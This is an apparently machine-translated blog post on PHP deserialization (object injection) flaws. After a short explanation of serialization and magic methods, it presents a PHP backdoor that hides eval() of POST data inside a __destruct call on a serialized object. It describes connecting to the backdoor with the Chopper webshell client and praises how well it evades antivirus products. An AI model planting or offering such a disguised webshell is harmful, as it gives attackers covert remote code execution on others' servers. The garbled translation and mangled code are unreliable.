PHP Anti-Serialization vulnerability detailed

Recently with the small partners to study the next PHP deserialization vulnerability, a whim, the use of anti-serialization vulnerability to write a sentence Trojan effect should be pretty good. This article is mainly to share with you the PHP Anti-Serialization vulnerability of the detailed, hope to help everyone.

0x01 PHP Reverse Order

Speaking of PHP deserialization, it is necessary to briefly explain the serialization of PHP. PHP serialization is to convert an object, an array, a string, and so on into a byte stream for easy transmission, such as cross-scripting. The PHP deserialization is to restore the serialized stream of bytes to objects, characters, arrays, and so on. But PHP serialization is not a way to save objects.

<?phpclass a{    var $test = "Demo";} $a = new A ();  Generate a object $b = serialize ($a);  The serialized a object is b$c = Unserialize ($b); Deserializes the B object to Cprint_r ($b);   Value after output serialization: O:1: "A": 1:{s:4: "Test"; s:4: "Demo";} echo "\ n";p rint_r ($c->test);  The value of test in output object C:demo?>

0x02 PHP Anti-Serialization vulnerability

PHP class has a special function of the existence of a body called magic function, Magic function named after the beginning of the symbol __, such as __construct, __destruct, __tostring, __sleep, __wakeup and so on. These functions are called automatically in some cases, such as __construct when an object is created, __destruct is called when an object is destroyed, __tostring when an object is used as a string.
When deserializing, if there is a magic function in the deserialized object, the use of the Unserialize () function is also triggered. Thus, once we are able to control the unserialize () entry, it is possible to throw an object injection vulnerability.

<?phpclass a{    var $test = "Demo";    function __destruct () {            echo $this->test;    }} $a = $_get[' test ']; $a _unser = unserialize ($a); >

For example, the above code constructs payload for http://127.0.0.1:800/test.php?test=O:1: "A": 1:{s:4: "Test"; s:5: "Hello";}
After deserialization, the _destruct function is called at the end of the script run, and the test variable output Hello is overwritten.

0X03 Greatest second act

We can use this vulnerability point to control the input variable and stitch it into a serialized object. Then construct a magical function, such as calling Eval in the _destruct () function to execute the statement in the serialized object.

<?phpclass a{    var $test = "Demo";    function __destruct () {        @eval ($this->test);}    } $test = $_post[' test ']; $len = strlen ($test) +1; $pp = "O:1:\" a\ ": 1:{s:4:\" test\ "; s:". $len. ": \" ". $test. "; \";} "; Constructs a serialized object $test_unser = Unserialize ($PP); Deserialization simultaneously triggers the _DESTRUCT function?>

0x04 Effect Demo

Direct Chopper Links:

Safe dog:

After all, this trojan is very similar to normal files, so the effect is very good to avoid killing. Here just tested the safety dog, D Shield, the rest of the self-test.

Summary

And this can trigger a lot of deformation, here is only using the deserialization vulnerability, other vulnerabilities can also be used as a Trojan horse carrier, after all, the CMS Code execution vulnerability before being found, he is still a normal to no longer normal files.